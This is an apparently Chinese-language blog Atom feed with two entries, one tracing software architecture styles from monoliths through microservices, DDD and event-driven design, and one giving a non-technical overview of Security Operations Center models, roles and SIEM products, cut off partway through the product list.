<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title></title>
  
  
  <link href="https://www.fireflycamp.net/atom.xml" rel="self"/>
  
  <link href="https://www.fireflycamp.net/"/>
  <updated>2026-05-10T17:01:14.912Z</updated>
  <id>https://www.fireflycamp.net/</id>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>系统设计｜软件架构的演进与风格</title>
    <link href="https://www.fireflycamp.net/2026/05/06/2026-05-06-architecture-design/"/>
    <id>https://www.fireflycamp.net/2026/05/06/2026-05-06-architecture-design/</id>
    <published>2026-05-06T10:34:11.000Z</published>
    <updated>2026-05-10T17:01:14.912Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><img src="/2026/05/06/2026-05-06-architecture-design/cover.jpg" class=""><p>本文简单回顾了软件架构的演进历史，并梳理了几种常见的架构风格。</p><h2 id="软件架构演进史"><a href="#软件架构演进史" class="headerlink" title="软件架构演进史"></a>软件架构演进史</h2><p>软件架构并不是一开始就作为一门方法论存在的，其本质是软件规模不断扩大后被倒逼出来的结果。</p><h3 id="软件危机"><a href="#软件危机" class="headerlink" title="软件危机"></a>软件危机</h3><p>1968 年，北约在德国召开的软件工程会议把当时行业里普遍存在的问题集中揭示了出来：项目超期、超预算、质量不稳定、维护困难、复杂度失控。这些问题后来被统称为“软件危机”<sup id="fnref-1"><a href="#fn-1">[1]</a></sup>。</p><p>当时的很多系统还不需要今天意义上的完整架构方法，大家更关注的是算法、数据结构和把功能先做出来。但随着系统规模扩大，工程师很快发现，真正让项目失控的往往不是某个函数写错了，而是整体结构没有被认真设计。</p><p>也正是在这种背景下，模块化、信息隐藏、分层、关注点分离这些思想开始变得越来越重要。软件设计开始从“怎么写代码”逐渐走向“怎么组织系统”。</p><h3 id="单体架构与代码分层"><a href="#单体架构与代码分层" class="headerlink" title="单体架构与代码分层"></a>单体架构与代码分层</h3><p>在较长一段时间里，软件系统的主流形态其实就是单体应用。所有功能放在一个系统里，围绕一套代码、一套部署物、一套数据库展开。这种方式在业务简单、团队规模不大时非常高效。</p><p>为了管理不断膨胀的复杂度，开发者逐渐引入分层结构，例如表现层、业务层、数据访问层，这是软件工程从混乱走向秩序的一次重要进步。</p><h3 id="部署分层"><a href="#部署分层" class="headerlink" title="部署分层"></a>部署分层</h3><p>进入 1980 年代到 1990 年代，企业信息系统和网络应用快速发展，软件不再只是单机程序，而是越来越多地以 <strong>Client&#x2F;Server</strong> 形式运行。客户端负责交互，服务器负责数据和业务处理<sup id="fnref-2"><a href="#fn-2">[2]</a></sup>。</p><p>随后，三层架构进一步流行起来。界面、业务逻辑、数据库被拆到不同层甚至不同机器上，系统开始具备更明确的部署边界和扩展边界。这一阶段的软件架构，重点是把“功能组织”进一步演进成“逻辑分层 + 物理分布”<sup id="fnref-3"><a href="#fn-3">[3]</a></sup>。</p><h3 id="面向服务架构（SOA）"><a href="#面向服务架构（SOA）" class="headerlink" title="面向服务架构（SOA）"></a>面向服务架构（SOA）</h3><p>到了 2000 年代，企业系统集成需求越来越强，不同业务系统之间需要互通、复用和编排。SOA 因此兴起<sup id="fnref-4"><a href="#fn-4">[4]</a></sup>。</p><p>SOA 的核心目标，是把能力抽象成服务，让不同系统可以通过统一协议协作。它解决的是大型企业内部多个系统之间的整合问题，所以经常伴随 ESB、Web Service、集中治理这类配套机制出现。</p><p>这一时期典型的软件形态，是大型企业的 ERP、CRM、HR、财务、供应链系统通过 SOAP &#x2F; WSDL 接入 ESB，运行在 Java EE 或 .NET 应用服务器（WebLogic、WebSphere、JBoss）上，XML 几乎承担了所有数据交换格式，BPEL 用来描述跨服务流程，整套体系强调契约先行、集中治理。</p><p>也正是在这个时期，Roy Fielding 在 2000 年的博士论文里提出了 REST 架构风格<sup id="fnref-5"><a href="#fn-5">[5]</a></sup>。它选择了一条更轻量的路：直接复用 HTTP 语义、用 JSON 替代 XML、面向资源而不是面向接口，被视为对 SOAP&#x2F;WS-* 重型体系的一种替代。随着 Web 2.0、移动端和前后端分离的兴起，REST 逐步取代 SOAP 成为公共 API 的事实标准，也为后来的微服务铺好了通信路径。</p><h3 id="微服务"><a href="#微服务" class="headerlink" title="微服务"></a>微服务</h3><p>再往后，互联网业务、持续交付、云平台和容器化技术逐渐成熟，架构目标开始从“复用服务”转向“让系统可以更快演进”。这就是微服务兴起的背景<sup id="fnref-6"><a href="#fn-6">[6]</a></sup>。</p><p>微服务继承了 SOA 的服务化思想，但更强调：</p><ul><li>服务围绕业务能力拆分</li><li>每个服务独立部署、独立扩缩容</li><li>使用轻量通信机制</li></ul><p>它更适合变化快、团队多、发布频繁的系统，但也把分布式复杂度带了进来。因此它不是简单地“替代”单体或 SOA，而是在新的工程环境下形成的一种取舍。</p><h3 id="前后端分离"><a href="#前后端分离" class="headerlink" title="前后端分离"></a>前后端分离</h3><p>差不多和微服务同期，浏览器侧也发生了一次大变化。Angular（2010）、React（2013）、Vue（2014）等 SPA 框架陆续成熟，前端有了真正完整的工程体系——组件化、状态管理、构建工具、路由都齐了。”前端”开始作为独立项目存在，部署成静态资源（HTML &#x2F; JS &#x2F; CSS）发布到 CDN，后端则收敛为纯 API 服务，两边只通过 HTTP + JSON 交互。</p><p>这其实是”部署分层”在 Web 时代的延续：把原本由服务端承担的 UI 渲染彻底交还给客户端。它和后端微服务化是天然搭档——前端独立部署、后端拆成多个服务，整个系统的边界变得更清晰。</p><h3 id="云原生"><a href="#云原生" class="headerlink" title="云原生"></a>云原生</h3><p>近些年，软件架构又继续向云原生方向演进。容器、Kubernetes、DevOps、可观测性、服务网格等技术，让系统能自动部署、自动恢复、按需扩缩<sup id="fnref-7"><a href="#fn-7">[7]</a></sup>。</p><p>与此同时，事件驱动架构也越来越常见。很多系统不再要求所有动作都同步串行完成，而是通过事件总线、消息队列和异步处理来提高解耦程度、吞吐能力和业务响应速度。</p><h2 id="常见架构风格"><a href="#常见架构风格" class="headerlink" title="常见架构风格"></a>常见架构风格</h2><p>架构风格描述了系统的组织方式——构件如何划分、如何连接、如何协作。</p><h3 id="微服务架构"><a href="#微服务架构" class="headerlink" title="微服务架构"></a>微服务架构</h3><p>微服务的核心思想，是把一个大型系统拆成多个小型自治服务。每个服务围绕一块相对独立的业务能力构建，独立开发、独立部署、独立扩缩容，通过轻量通信机制协作。</p><h4 id="VS-单体架构"><a href="#VS-单体架构" class="headerlink" title="VS 单体架构"></a>VS 单体架构</h4><p>单体架构通常把所有功能放在一个进程里，开发初期效率很高，部署也简单。但随着业务变大，代码、构建、发布、协作和故障影响范围会一起膨胀。</p><p>微服务的优势在于：</p><ul><li>可以围绕业务能力拆分职责，降低单个服务的复杂度</li><li>支持独立部署和独立扩缩容，热点模块可以单独处理</li><li>更适合多人协作，不同团队可以并行维护不同服务</li><li>技术选型更灵活，不同服务可以根据场景使用不同技术栈</li><li>故障隔离能力更强，单点问题不一定拖垮整个系统</li></ul><p>拥有这些优势的同时也付出了代价：</p><ul><li>本地调用变成网络调用，必须面对超时、重试、熔断、幂等和序列化问题</li><li>运维复杂度显著上升，需要处理注册发现、配置中心、链路追踪、监控告警和容器编排</li><li>数据一致性更难保证，传统 ACID 思路往往不再适用</li><li>测试和排障难度增加，很多问题只能在集成环境或真实流量下暴露</li></ul><p>所以微服务是一种用复杂度换扩展性的选择。系统还很小的时候，过早微服务往往是负收益。</p><h4 id="几种常见的微服务组织方式"><a href="#几种常见的微服务组织方式" class="headerlink" title="几种常见的微服务组织方式"></a>几种常见的微服务组织方式</h4><h5 id="聚合器模式"><a href="#聚合器模式" class="headerlink" title="聚合器模式"></a>聚合器模式</h5><p>客户端请求先进入 API 网关，再由聚合器统一调用多个后端服务，把结果组装后一次性返回给前端。这种模式常见于首页、控制台、用户画像这类需要拼装多份数据的场景。</p><pre class="mermaid">flowchart LR    Client[客户端] --> Gateway[API 网关]    Gateway --> Aggregator[聚合器服务]    Aggregator --> A[微服务 A]    Aggregator --> B[微服务 B]    Aggregator --> C[微服务 C]</pre><p>它的优点是接口聚合清晰，前端不用感知多个服务的细节；缺点是聚合器很容易变成新的中心节点，一旦职责失控，就会演变成“另一个单体”。</p><h5 id="链式调用模式"><a href="#链式调用模式" class="headerlink" title="链式调用模式"></a>链式调用模式</h5><p>请求进入系统后，由一个服务继续调用下一个服务，逐步形成调用链。这种方式在流程型业务里很常见，比如订单、支付、库存、物流一层层向后推进。</p><pre class="mermaid">flowchart LR    Client[客户端] --> Gateway[API 网关]    Gateway --> A[微服务 A]    A --> B[微服务 B]    B --> C[微服务 C]</pre><p>它的好处是流程表达自然，职责也比较直观；但调用链一长，延迟、失败传播和排障成本都会快速上升。一个节点变慢可能会拖住整条链。</p><h5 id="数据共享模式"><a href="#数据共享模式" class="headerlink" title="数据共享模式"></a>数据共享模式</h5><p>多个微服务共同读写同一个数据库。它在很多微服务的改造初期很常见，因为实现快、迁移成本低，也容易维持数据一致性。</p><pre class="mermaid">flowchart LR    A[微服务 A] --> DB[(共享数据库)]    B[微服务 B] --> DB    C[微服务 C] --> DB</pre><p>这种模式的结构性问题很明显：数据库模式一改，多个服务都会受影响。</p><h5 id="异步消息模式"><a href="#异步消息模式" class="headerlink" title="异步消息模式"></a>异步消息模式</h5><p>服务之间不直接同步调用，而是通过消息队列解耦。一方负责发送事件或消息，另一方异步消费。</p><pre class="mermaid">flowchart LR    A[微服务 A] --> MQ[消息队列<br/>Kafka / RabbitMQ / RocketMQ]    MQ --> B[微服务 B]</pre><p>这种模式非常适合跨系统解耦，但也会带来新的工程问题：消息重复、乱序、积压、重试和最终一致性。</p><h3 id="分层架构"><a href="#分层架构" class="headerlink" title="分层架构"></a>分层架构</h3><p>分层架构是最常见、也最容易落地的一种结构方式。它把系统按职责分成若干层，每层只处理自己负责的事情，并尽量只和相邻层交互。</p><p>很多业务系统即便外层用了微服务，单个服务内部仍然会采用分层架构，因为它足够稳定，也便于团队协作。</p><p>传统分层通常可以简化为三层：</p><table><thead><tr><th>层级</th><th>主要职责</th><th>常见实现</th></tr></thead><tbody><tr><td>表现层</td><td>接收请求、参数校验、协议转换、响应封装</td><td>Controller、REST API、GraphQL Resolver</td></tr><tr><td>业务层</td><td>承载业务逻辑、流程控制、事务处理</td><td>Service、Manager</td></tr><tr><td>持久层</td><td>负责数据访问和持久化细节封装</td><td>DAO、Repository、Mapper</td></tr></tbody></table><p>这种结构的优点很明确：</p><ul><li>结构清晰，容易理解</li><li>职责边界明确，适合大多数 CRUD 和中后台系统</li><li>修改影响范围相对可控，便于新人接手</li></ul><p>它的问题也同样典型：</p><ul><li>简单逻辑也可能被迫层层透传，样板代码偏多</li><li>如果设计不到位，每一层都只是在机械转发，实际没有承担清晰职责</li><li>业务复杂后，所谓“业务层”容易无限膨胀，最后变成巨型 Service</li></ul><p>分层架构不是落后，而是基础。很多架构风格说到底，都是在分层的基础上继续细化职责边界。</p><h4 id="DDD-分层：当业务复杂到不能只靠-Service-硬扛"><a href="#DDD-分层：当业务复杂到不能只靠-Service-硬扛" class="headerlink" title="DDD 分层：当业务复杂到不能只靠 Service 硬扛"></a>DDD 分层：当业务复杂到不能只靠 Service 硬扛</h4><p>当系统规则很多、状态变化复杂、术语容易混乱时，传统“Controller + Service + DAO”往往会开始失控。业务规则会不断堆进 Service，最后形成一批难读、难测、难复用的流程脚本。</p><p>DDD（领域驱动设计）试图解决的正是这个问题。它强调让代码结构贴近业务模型，把真正核心的业务规则沉淀到领域层，而不是全部塞进应用服务里。</p><p>DDD 常见的分层方式如下：</p><table><thead><tr><th>层级</th><th>主要职责</th><th>常见实现</th></tr></thead><tbody><tr><td>接口层</td><td>对外暴露访问入口，完成协议转换和基础校验</td><td>Controller、RPC Handler、MQ Consumer</td></tr><tr><td>应用层</td><td>编排用例流程，控制事务，协调领域对象和外部系统</td><td>Application Service、Command Handler</td></tr><tr><td>领域层</td><td>承载核心业务规则和业务模型</td><td>Entity、Value Object、Aggregate、Domain Service</td></tr><tr><td>基础设施层</td><td>提供数据库、缓存、消息队列、第三方系统等技术实现</td><td>Repository Impl、DAO、ORM、Redis Client</td></tr></tbody></table><p>传统写法里，业务规则往往直接塞进 Service：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">placeOrder</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (order.getAmount() &lt;= <span class="number">0</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>();</span><br><span class="line">        order.setStatus(<span class="string">&quot;CREATED&quot;</span>);</span><br><span class="line">        orderDao.save(order);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>DDD 的思路则是把“订单如何下单”这类规则放回领域对象本身，让应用层只负责组织流程：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">OrderApplicationService</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">placeOrder</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">        order.place();</span><br><span class="line">        repository.save(order);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Order</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">place</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (amount &lt;= <span class="number">0</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>();</span><br><span class="line">        <span class="built_in">this</span>.status = Status.CREATED;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样做的价值在于：</p><ul><li>代码结构更贴近业务语义，复杂规则不容易散落</li><li>团队可以围绕统一领域语言协作，减少“同一个概念多种叫法”</li><li>领域层尽量不依赖数据库和框架，替换基础设施的成本更低</li></ul><p>当然，DDD 的学习成本和建模成本高，如果业务本身并不复杂，上 DDD 会把简单问题复杂化。</p><h3 id="事件驱动架构"><a href="#事件驱动架构" class="headerlink" title="事件驱动架构"></a>事件驱动架构</h3><p>事件驱动架构（EDA）的核心不是“函数互相调用”，而是“构件围绕事件协作”。某个动作发生后，系统发布一个事件，其他感兴趣的模块再决定是否订阅和处理。</p><pre class="mermaid">flowchart LR    Producer[事件产生方] -->|发布事件| Bus[事件总线 / 事件管理机制]    Bus -->|通知处理| ConsumerA[处理器 A]    Bus -->|通知处理| ConsumerB[处理器 B]    Bus -->|通知处理| ConsumerC[处理器 C]</pre><p>这种模式在 GUI 编程、消息系统、业务通知、审计日志、异步任务和微服务协作里都非常常见。和传统调用返回模型相比，它最大的特点是发布方不需要知道接收方是谁，也不需要等待所有处理过程完成。</p><p>它的优势主要体现在：</p><ul><li>松耦合，新增处理逻辑通常不需要改动事件源</li><li>扩展性强，很适合一对多通知场景</li><li>天然适合异步化和并发处理</li><li>某些横切能力，比如审计、埋点、通知，可以更自然地挂接到业务流程上</li></ul><p>但事件驱动的问题也很典型：</p><ul><li>流程不再线性可见，调用链和时序关系更难追踪</li><li>数据传递和事件定义需要更严格的约束</li><li>执行顺序可能不稳定，容易引入竞态和重复消费问题</li><li>一旦缺少完善的日志、追踪和监控，排障体验会非常差</li></ul><p>所以事件驱动很适合作为“解耦机制”，但不应该被神化。系统里哪些流程适合同步调用，哪些适合转成事件，通常需要结合一致性要求和时效要求来判断。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>真正成熟的系统，通常也不会只使用一种风格。更常见的是：外层是微服务，服务内部是分层架构，某些模块使用 DDD，跨服务协作再配合事件驱动。这种组合是工程上的常态，让系统在功能、维护性和扩展性之间取得平衡。</p><hr><div id="fn-1">[1] NATO / Newcastle University ePrints, "Software Engineering: Report of a conference sponsored by the NATO Science Committee, Garmisch, Germany, 7th-11th October 1968", 1969, <a class="link"   href="https://eprints.ncl.ac.uk/pub_details2.aspx?pub_id=158767"  target="_blank" rel="noopener">https://eprints.ncl.ac.uk/pub_details2.aspx?pub_id=158767<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-1">↩</a></div><div id="fn-2">[2] IBM Documentation, "client/server architecture", <a class="link"   href="https://www.ibm.com/docs/en/itcam-app-mgr/7.2.1?topic=c-clientserver-architecture"  target="_blank" rel="noopener">https://www.ibm.com/docs/en/itcam-app-mgr/7.2.1?topic=c-clientserver-architecture<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-2">↩</a></div><div id="fn-3">[3] Microsoft Learn, "N-tier architecture style", <a class="link"   href="https://learn.microsoft.com/uk-ua/azure/architecture/guide/architecture-styles/n-tier?cid=kerryherger"  target="_blank" rel="noopener">https://learn.microsoft.com/uk-ua/azure/architecture/guide/architecture-styles/n-tier?cid=kerryherger<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-3">↩</a></div><div id="fn-4">[4] AWS, "What is SOA (Service-Oriented Architecture)?", <a class="link"   href="https://aws.amazon.com/what-is/service-oriented-architecture/"  target="_blank" rel="noopener">https://aws.amazon.com/what-is/service-oriented-architecture/<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-4">↩</a></div><div id="fn-5">[5] Roy Thomas Fielding, "Architectural Styles and the Design of Network-based Software Architectures", Doctoral dissertation, University of California, Irvine, 2000, <a class="link"   href="https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm"  target="_blank" rel="noopener">https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-5">↩</a></div><div id="fn-6">[6] AWS, "Microservices", <a class="link"   href="https://aws.amazon.com/microservices/"  target="_blank" rel="noopener">https://aws.amazon.com/microservices/<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-6">↩</a></div><div id="fn-7">[7] AWS, "What is Cloud Native?", <a class="link"   href="https://aws.amazon.com/what-is/cloud-native/"  target="_blank" rel="noopener">https://aws.amazon.com/what-is/cloud-native/<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-7">↩</a></div>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="符文工坊" scheme="https://www.fireflycamp.net/categories/%E7%AC%A6%E6%96%87%E5%B7%A5%E5%9D%8A/"/>
    
    <category term="系统设计" scheme="https://www.fireflycamp.net/categories/%E7%AC%A6%E6%96%87%E5%B7%A5%E5%9D%8A/%E7%B3%BB%E7%BB%9F%E8%AE%BE%E8%AE%A1/"/>
    
    
    <category term="DDD" scheme="https://www.fireflycamp.net/tags/DDD/"/>
    
    <category term="EDA" scheme="https://www.fireflycamp.net/tags/EDA/"/>
    
  </entry>
  
  <entry>
    <title>SOC｜概论</title>
    <link href="https://www.fireflycamp.net/2026/05/05/2026-05-05-soc/"/>
    <id>https://www.fireflycamp.net/2026/05/05/2026-05-05-soc/</id>
    <published>2026-05-05T05:40:13.000Z</published>
    <updated>2026-05-05T16:30:33.013Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><img src="/2026/05/05/2026-05-05-soc/cover-3.jpg" class="" title="SOC 概论"><p>SOC（Security Operations Center），即安全运营中心，常在影视作品中被想象成一间摆满大屏的机房，但其本质是一套持续运转的安全能力：围绕告警、日志、资产与威胁情报，对组织进行长期监控、分析与响应，以便尽早发现入侵、判断影响，并把事故控制在可承受范围内。</p><h2 id="常见模式"><a href="#常见模式" class="headerlink" title="常见模式"></a>常见模式</h2><p>SOC 没有唯一标准形态。组织规模、预算和合规压力不同，落地方式也会不同。常见模式大致有以下几种：</p><ul><li>完全自建型：由企业自己组建和维护团队，自主性最高，但人力、排班和工具成本也最高。这种模式常见于大型企业、金融机构、电信运营商，以及对数据和安全控制权要求较高的政府部门。</li><li>协同管理型：由内部团队和托管安全服务商共同运营，企业保留关键决策权，同时把部分监控与运营工作外包出去。这种模式常见于已有一定内部团队，但还不足以独立支撑完整的 SOC 运营的中大型企业。</li><li>整体外包型：由第三方安全服务商负责大部分甚至全部日常监控与运营工作，企业内部只保留必要的对接、审批和处置职责。这种模式常见于预算有限、团队尚未成型，或希望快速补齐 SOC 能力的中小企业。</li></ul><h2 id="三根支柱"><a href="#三根支柱" class="headerlink" title="三根支柱"></a>三根支柱</h2><p>一个 SOC 能不能稳定运转，关键看三样东西能否真正配合起来：<strong>人员</strong>、<strong>流程</strong>和<strong>技术</strong>。人员负责判断和处置，流程负责把协作标准化，技术平台负责提供对资产和安全事件的可见性，并提升分析与处置效率。SOC 的问题通常是这三者没有真正接上。</p><h2 id="角色分工"><a href="#角色分工" class="headerlink" title="角色分工"></a>角色分工</h2><p>SOC 的岗位分工通常比较清楚，常见角色包括：</p><ul><li>安全分析师（<del>赛博保安</del>）：负责盯告警、做分级、查原因，并推动后续处置。</li><li>事件响应人员：更聚焦具体安全事件本身，负责初步研判、遏制影响、展开调查，并协助系统恢复。</li><li>威胁排查人员：主动在网络和主机中搜寻潜伏威胁，尤其关注那些能绕过传统检测规则的高级攻击。</li><li>安全工程师：负责搭建并维护 SOC 所依赖的安全基础设施，例如打通 SIEM、SOAR 与其他安全产品之间的集成。</li><li>SOC 经理：负责预算、排班、策略和跨团队协作，处理的是整体运营问题，而不是一线技术细节。</li></ul><h2 id="常用平台与能力"><a href="#常用平台与能力" class="headerlink" title="常用平台与能力"></a>常用平台与能力</h2><p>SOC 的日常工作离不开几类核心平台：SIEM 负责发现问题，日志管理负责横向排查，EDR 负责深入终端，SOAR 负责串联流程，威胁情报则提供外部参考。换句话说，它们共同构成了分析师从“看到异常”到“查清问题”的工具链。下面按分析师最常接触的顺序展开。</p><p>不过在实际产品里，这几类能力的边界并没有那么整齐。现在很多主流 SIEM 平台，已经把日志管理、威胁情报、自动化响应，甚至部分 EDR &#x2F; XDR 能力做成了原生模块，或至少做成了深度集成的套件。</p><h3 id="代表性方案"><a href="#代表性方案" class="headerlink" title="代表性方案"></a>代表性方案</h3><p>以下是国内外比较常见的方案，截图均来自各产品官网公开页面。</p><h4 id="国外方案"><a href="#国外方案" class="headerlink" title="国外方案"></a>国外方案</h4><h5 id="Splunk-Enterprise-Security"><a href="#Splunk-Enterprise-Security" class="headerlink" title="Splunk Enterprise Security"></a>Splunk Enterprise Security</h5><ul><li>官网：<a class="link"   href="https://www.splunk.com/en_us/products/enterprise-security.html" >https://www.splunk.com/en_us/products/enterprise-security.html<i class="fas fa-external-link-alt"></i></a></li><li>老牌 SIEM &#x2F; 安全运营产品，企业里出镜率很高。</li></ul><div class="soc-carousel" data-carousel="splunk">  <div class="soc-carousel-frame">    <figure class="soc-carousel-slide is-active">      <img src="/2026/05/05/2026-05-05-soc/splunk.png" alt="Splunk Enterprise Security 界面 1" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/splunk-2.png" alt="Splunk Enterprise Security 界面 2" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/splunk-3.png" alt="Splunk Enterprise Security 界面 3" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/splunk-4.png" alt="Splunk Enterprise Security 界面 4" loading="lazy">    </figure>  </div>  <div class="soc-carousel-nav">    <button class="soc-carousel-btn is-active" type="button" data-slide="0">告警列表</button>    <button class="soc-carousel-btn" type="button" data-slide="1">告警详情</button>    <button class="soc-carousel-btn" type="button" data-slide="2">事件时间线</button>    <button class="soc-carousel-btn" type="button" data-slide="3">威胁情报</button>  </div></div><h5 id="IBM-QRadar-SIEM"><a href="#IBM-QRadar-SIEM" class="headerlink" title="IBM QRadar SIEM"></a>IBM QRadar SIEM</h5><ul><li>官网：<a class="link"   href="https://www.ibm.com/products/qradar-siem" >https://www.ibm.com/products/qradar-siem<i class="fas fa-external-link-alt"></i></a></li><li>传统 SOC 场景里很常见，很多人一提 SIEM 就会想到它。</li></ul><style>  .soc-carousel {    position: relative;    margin: 1rem 0 1.5rem;    border: 1px solid rgba(136, 192, 208, 0.2);    border-radius: 14px;    overflow: hidden;    background: rgba(46, 52, 64, 0.5);  }  .soc-carousel-frame {    position: relative;    min-height: 240px;    background: rgba(15, 23, 32, 0.75);  }  .soc-carousel-slide {    display: none;    margin: 0;  }  .soc-carousel-slide.is-active {    display: block;  }  .soc-carousel-slide img {    display: block;    width: 100%;    height: auto;  }  .soc-carousel-caption {    margin: 0;    padding: 0.75rem 1rem;    color: #c4cdd8;    font-size: 0.92rem;    border-top: 1px solid rgba(136, 192, 208, 0.15);  }  .soc-carousel-nav {    display: flex;    justify-content: center;    gap: 0.5rem;    padding: 0.9rem 1rem 1rem;    flex-wrap: wrap;  }  .soc-carousel-btn {    border: 1px solid rgba(136, 192, 208, 0.25);    background: rgba(59, 66, 82, 0.88);    color: #c4cdd8;    border-radius: 999px;    padding: 0.28rem 0.75rem;    font-size: 0.85rem;    line-height: 1.2;    cursor: pointer;    transition: all 0.2s ease;  }  .soc-carousel-btn:hover,  .soc-carousel-btn.is-active {    color: #eceff4;    border-color: rgba(136, 192, 208, 0.5);    background: rgba(67, 76, 94, 0.96);    box-shadow: 0 0 12px rgba(136, 192, 208, 0.18);  }</style><div class="soc-carousel" data-carousel="qradar">  <div class="soc-carousel-frame">    <figure class="soc-carousel-slide is-active">      <img src="/2026/05/05/2026-05-05-soc/qradar.webp" alt="IBM QRadar SIEM 界面 1" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/qradar-2.webp" alt="IBM QRadar SIEM 界面 2" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/qradar-3.webp" alt="IBM QRadar SIEM 界面 3" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/qradar-4.webp" alt="IBM QRadar SIEM 界面 4" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/qradar-5.webp" alt="IBM QRadar SIEM 界面 5" loading="lazy">    </figure>    <figure class="soc-carousel-slide">      <img src="/2026/05/05/2026-05-05-soc/qradar-6.webp" alt="IBM QRadar SIEM 界面 6" loading="lazy">    </figure>  </div>  <div class="soc-carousel-nav">    <button class="soc-carousel-btn is-active" type="button" data-slide="0">告警列表</button>    <button class="soc-carousel-btn" type="button" data-slide="1">告警详情</button>    <button class="soc-carousel-btn" type="button" data-slide="2">资产详情</button>    <button class="soc-carousel-btn" type="button" data-slide="3">事件列表</button>    <button class="soc-carousel-btn" type="button" data-slide="4">事件搜索</button>    <button class="soc-carousel-btn" type="button" data-slide="5">搜索管理</button>  </div></div><script>  (() => {    document.querySelectorAll('[data-carousel]').forEach((carousel) => {      const slides = [...carousel.querySelectorAll('.soc-carousel-slide')];      const buttons = [...carousel.querySelectorAll('.soc-carousel-btn')];      if (!slides.length || !buttons.length) return;      const setActive = (index) => {        slides.forEach((slide, i) => slide.classList.toggle('is-active', i === index));        buttons.forEach((button, i) => button.classList.toggle('is-active', i === index));      };      buttons.forEach((button, index) => {        button.addEventListener('click', () => setActive(index));      });    });  })();</script><h5 id="Microsoft-Sentinel"><a href="#Microsoft-Sentinel" class="headerlink" title="Microsoft Sentinel"></a>Microsoft Sentinel</h5><ul><li>官网：<a class="link"   href="https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-sentinel" >https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-sentinel<i class="fas fa-external-link-alt"></i></a></li><li>云原生 SIEM，和 Azure 体系结合得比较紧。</li></ul><img src="/2026/05/05/2026-05-05-soc/sentinel.webp" class="" title="Microsoft Sentinel"><h4 id="国内方案"><a href="#国内方案" class="headerlink" title="国内方案"></a>国内方案</h4><h5 id="奇安信-NGSOC"><a href="#奇安信-NGSOC" class="headerlink" title="奇安信 NGSOC"></a>奇安信 NGSOC</h5><ul><li>官网：<a class="link"   href="https://www.qianxin.com/product/detail/pid/34" >https://www.qianxin.com/product/detail/pid/34<i class="fas fa-external-link-alt"></i></a></li><li>全称是态势感知与安全运营平台，更偏国内常见的“安全运营平台 &#x2F; 态势感知平台”命名，但包含日志采集、关联分析、威胁发现与运营处置等典型 SIEM 能力。</li></ul><img src="/2026/05/05/2026-05-05-soc/ngsoc.jpg" class="" title="奇安信 NGSOC"><h5 id="启明星辰态势感知平台"><a href="#启明星辰态势感知平台" class="headerlink" title="启明星辰态势感知平台"></a>启明星辰态势感知平台</h5><ul><li>官网：<a class="link"   href="https://www.venustech.com.cn/new_type/tsgzpt/" >https://www.venustech.com.cn/new_type/tsgzpt/<i class="fas 